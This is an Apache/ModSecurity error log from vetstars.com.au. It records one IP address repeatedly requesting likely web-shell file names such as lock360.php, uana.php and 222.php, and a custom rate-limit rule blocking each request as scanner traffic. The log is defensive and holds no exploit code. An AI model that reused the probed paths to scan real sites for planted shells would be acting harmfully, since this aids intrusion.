[Tue Dec 23 20:29:32.181987 2025] [:error] [pid 3497:tid 3511] [client 20.196.109.137:13175] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUqLLOzUE6hZ8LJecSsUmAAAAMs"]
[Tue Dec 23 20:29:33.001682 2025] [:error] [pid 11812:tid 11821] [client 20.196.109.137:13230] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUqLLbBkIQ4nTXm4A3UbQwAAAIc"]
[Tue Dec 23 20:29:33.665648 2025] [:error] [pid 3406:tid 3468] [client 20.196.109.137:13297] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUqLLfn8DLWxW7TPzpHlQgAAAEQ"]
[Tue Dec 23 20:29:35.063338 2025] [:error] [pid 3404:tid 3413] [client 20.196.109.137:13241] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUqLL8JGbPWZNlrhVJdU6QAAAcQ"]
[Tue Dec 23 20:29:36.408931 2025] [:error] [pid 54408:tid 54432] [client 20.196.109.137:13141] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUqLMGup4YbWx_MWvp1WGAAAApU"]
[Tue Dec 23 20:29:37.834393 2025] [:error] [pid 11812:tid 11831] [client 20.196.109.137:13161] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUqLMbBkIQ4nTXm4A3UbRAAAAJE"]
[Tue Dec 23 20:29:38.669700 2025] [:error] [pid 3497:tid 3516] [client 20.196.109.137:13156] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUqLMuzUE6hZ8LJecSsUoQAAANA"]
[Tue Dec 23 20:29:39.718740 2025] [:error] [pid 11812:tid 11829] [client 20.196.109.137:13084] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUqLM7BkIQ4nTXm4A3UbSgAAAI8"]
[Tue Dec 23 20:29:40.763257 2025] [:error] [pid 3497:tid 3513] [client 20.196.109.137:13233] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUqLNOzUE6hZ8LJecSsUpgAAAM0"]
[Tue Dec 23 20:29:41.327331 2025] [:error] [pid 3497:tid 3522] [client 20.196.109.137:13276] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUqLNezUE6hZ8LJecSsUqAAAANY"]
[Tue Dec 23 20:29:42.804665 2025] [:error] [pid 3404:tid 3426] [client 20.196.109.137:13092] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUqLNsJGbPWZNlrhVJdU6wAAAdE"]
[Tue Dec 23 20:29:43.279145 2025] [:error] [pid 3404:tid 3429] [client 20.196.109.137:13269] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aUqLN8JGbPWZNlrhVJdU7QAAAdQ"]
[Tue Dec 23 20:29:43.955450 2025] [:error] [pid 54297:tid 54321] [client 20.196.109.137:13147] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLN0ZMNime0caoKPKiOAAAAZQ"]
[Tue Dec 23 20:29:44.888267 2025] [:error] [pid 54297:tid 54301] [client 20.196.109.137:13153] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLOEZMNime0caoKPKiOwAAAYA"]
[Tue Dec 23 20:29:45.740281 2025] [:error] [pid 3405:tid 3444] [client 20.196.109.137:13063] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLObdHHpIDpQ39rwk_UwAAAAc"]
[Tue Dec 23 20:29:46.846294 2025] [:error] [pid 3404:tid 3431] [client 20.196.109.137:13214] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLOsJGbPWZNlrhVJdU8QAAAdY"]
[Tue Dec 23 20:30:32.917111 2025] [:error] [pid 3405:tid 3440] [client 20.196.109.137:13059] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUqLaLdHHpIDpQ39rwk_ggAAAAM"]
[Tue Dec 23 20:30:33.611489 2025] [:error] [pid 3405:tid 3443] [client 20.196.109.137:13186] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUqLabdHHpIDpQ39rwk_gwAAAAY"]
[Tue Dec 23 20:30:34.976437 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13100] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUqLardHHpIDpQ39rwk_hwAAAAQ"]
[Tue Dec 23 20:30:36.022863 2025] [:error] [pid 25976:tid 25985] [client 20.196.109.137:13158] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUqLbLF6LaWzQScE-xN9tQAAAQc"]
[Tue Dec 23 20:30:36.914745 2025] [:error] [pid 3405:tid 3450] [client 20.196.109.137:13152] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUqLbLdHHpIDpQ39rwk_kAAAAA0"]
[Tue Dec 23 20:30:37.622918 2025] [:error] [pid 3406:tid 3480] [client 20.196.109.137:13169] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUqLbfn8DLWxW7TPzpHlYwAAAFA"]
[Tue Dec 23 20:30:38.037995 2025] [:error] [pid 11812:tid 11826] [client 20.196.109.137:13231] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUqLbrBkIQ4nTXm4A3UbbgAAAIw"]
[Tue Dec 23 20:30:38.502739 2025] [:error] [pid 3406:tid 3483] [client 20.196.109.137:13070] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUqLbvn8DLWxW7TPzpHlZQAAAFM"]
[Tue Dec 23 20:30:39.014458 2025] [:error] [pid 25976:tid 25992] [client 20.196.109.137:13096] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUqLb7F6LaWzQScE-xN9ugAAAQ4"]
[Tue Dec 23 20:30:39.415417 2025] [:error] [pid 3497:tid 3521] [client 20.196.109.137:13079] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUqLb-zUE6hZ8LJecSsU0gAAANU"]
[Tue Dec 23 20:30:39.816868 2025] [:error] [pid 3405:tid 3459] [client 20.196.109.137:13128] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUqLb7dHHpIDpQ39rwk_lAAAABY"]
[Tue Dec 23 20:30:40.539993 2025] [:error] [pid 11812:tid 11818] [client 20.196.109.137:13154] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUqLcLBkIQ4nTXm4A3UbcAAAAIQ"]
[Tue Dec 23 20:30:41.902465 2025] [:error] [pid 11812:tid 11838] [client 20.196.109.137:13134] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLcbBkIQ4nTXm4A3UbcQAAAJg"]
[Tue Dec 23 20:30:42.909174 2025] [:error] [pid 3404:tid 3423] [client 20.196.109.137:13282] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLcsJGbPWZNlrhVJdVCAAAAc4"]
[Tue Dec 23 20:30:43.871421 2025] [:error] [pid 25976:tid 25999] [client 20.196.109.137:13088] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLc7F6LaWzQScE-xN9vwAAARU"]
[Tue Dec 23 20:30:44.718353 2025] [:error] [pid 3404:tid 3417] [client 20.196.109.137:13264] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUqLdMJGbPWZNlrhVJdVCQAAAcg"]
[Tue Dec 23 20:30:46.172285 2025] [:error] [pid 3406:tid 3487] [client 20.196.109.137:13101] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUqLdvn8DLWxW7TPzpHlbAAAAFc"]
[Tue Dec 23 20:30:46.753693 2025] [:error] [pid 3406:tid 3481] [client 20.196.109.137:13257] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUqLdvn8DLWxW7TPzpHlbQAAAFE"]
[Tue Dec 23 20:30:47.164312 2025] [:error] [pid 3406:tid 3464] [client 20.196.109.137:13224] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUqLd_n8DLWxW7TPzpHlbgAAAEA"]
[Tue Dec 23 20:30:47.704179 2025] [:error] [pid 3404:tid 3410] [client 20.196.109.137:13239] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUqLd8JGbPWZNlrhVJdVDQAAAcE"]
[Tue Dec 23 20:30:48.333141 2025] [:error] [pid 3404:tid 3426] [client 20.196.109.137:13242] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUqLeMJGbPWZNlrhVJdVDgAAAdE"]
[Tue Dec 23 20:30:48.845515 2025] [:error] [pid 54297:tid 54305] [client 20.196.109.137:13057] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUqLeEZMNime0caoKPKiWgAAAYQ"]
[Tue Dec 23 20:30:49.344262 2025] [:error] [pid 3405:tid 3459] [client 20.196.109.137:13247] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUqLebdHHpIDpQ39rwk_mAAAABY"]
[Tue Dec 23 20:30:49.751049 2025] [:error] [pid 11812:tid 11819] [client 20.196.109.137:13253] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUqLebBkIQ4nTXm4A3UbdgAAAIU"]
[Tue Dec 23 20:30:50.210226 2025] [:error] [pid 3405:tid 3453] [client 20.196.109.137:13058] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUqLerdHHpIDpQ39rwk_mgAAABA"]
[Tue Dec 23 20:30:50.906560 2025] [:error] [pid 3405:tid 3449] [client 20.196.109.137:13132] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUqLerdHHpIDpQ39rwk_mwAAAAw"]
[Tue Dec 23 20:30:51.391827 2025] [:error] [pid 11812:tid 11833] [client 20.196.109.137:13086] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUqLe7BkIQ4nTXm4A3UbegAAAJM"]
[Tue Dec 23 20:30:51.855494 2025] [:error] [pid 54340:tid 54345] [client 20.196.109.137:13236] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aUqLe5ye8-oij4iGhogn5gAAAgM"]
[Tue Dec 23 20:30:52.354343 2025] [:error] [pid 3404:tid 3431] [client 20.196.109.137:13223] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUqLfMJGbPWZNlrhVJdVEQAAAdY"]
[Tue Dec 23 20:30:53.435087 2025] [:error] [pid 11812:tid 11821] [client 20.196.109.137:13177] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUqLfbBkIQ4nTXm4A3UbewAAAIc"]
[Tue Dec 23 20:30:54.118110 2025] [:error] [pid 3406:tid 3486] [client 20.196.109.137:13135] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUqLfvn8DLWxW7TPzpHlcAAAAFY"]
[Tue Dec 23 20:30:54.774875 2025] [:error] [pid 3404:tid 3420] [client 20.196.109.137:13066] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aUqLfsJGbPWZNlrhVJdVEgAAAcs"]
[Tue Dec 23 20:30:55.597582 2025] [:error] [pid 11812:tid 11828] [client 20.196.109.137:13144] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUqLf7BkIQ4nTXm4A3UbgQAAAI4"]
[Tue Dec 23 20:30:56.515095 2025] [:error] [pid 54297:tid 54304] [client 20.196.109.137:13182] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUqLgEZMNime0caoKPKiXgAAAYM"]
[Tue Dec 23 20:30:57.309326 2025] [:error] [pid 3405:tid 3448] [client 20.196.109.137:13149] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUqLgbdHHpIDpQ39rwk_pgAAAAs"]
[Tue Dec 23 20:30:58.322039 2025] [:error] [pid 3405:tid 3459] [client 20.196.109.137:13075] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aUqLgrdHHpIDpQ39rwk_pwAAABY"]
[Tue Dec 23 20:30:58.939015 2025] [:error] [pid 3497:tid 3509] [client 20.196.109.137:13166] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUqLguzUE6hZ8LJecSsU4wAAAMk"]
[Tue Dec 23 20:30:59.429207 2025] [:error] [pid 3497:tid 3512] [client 20.196.109.137:13122] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUqLg-zUE6hZ8LJecSsU5QAAAMw"]
[Tue Dec 23 20:31:00.425405 2025] [:error] [pid 3497:tid 3524] [client 20.196.109.137:13082] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUqLhOzUE6hZ8LJecSsU6AAAANg"]
[Tue Dec 23 20:31:01.954341 2025] [:error] [pid 54340:tid 54360] [client 20.196.109.137:13094] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUqLhZye8-oij4iGhogn6wAAAhI"]
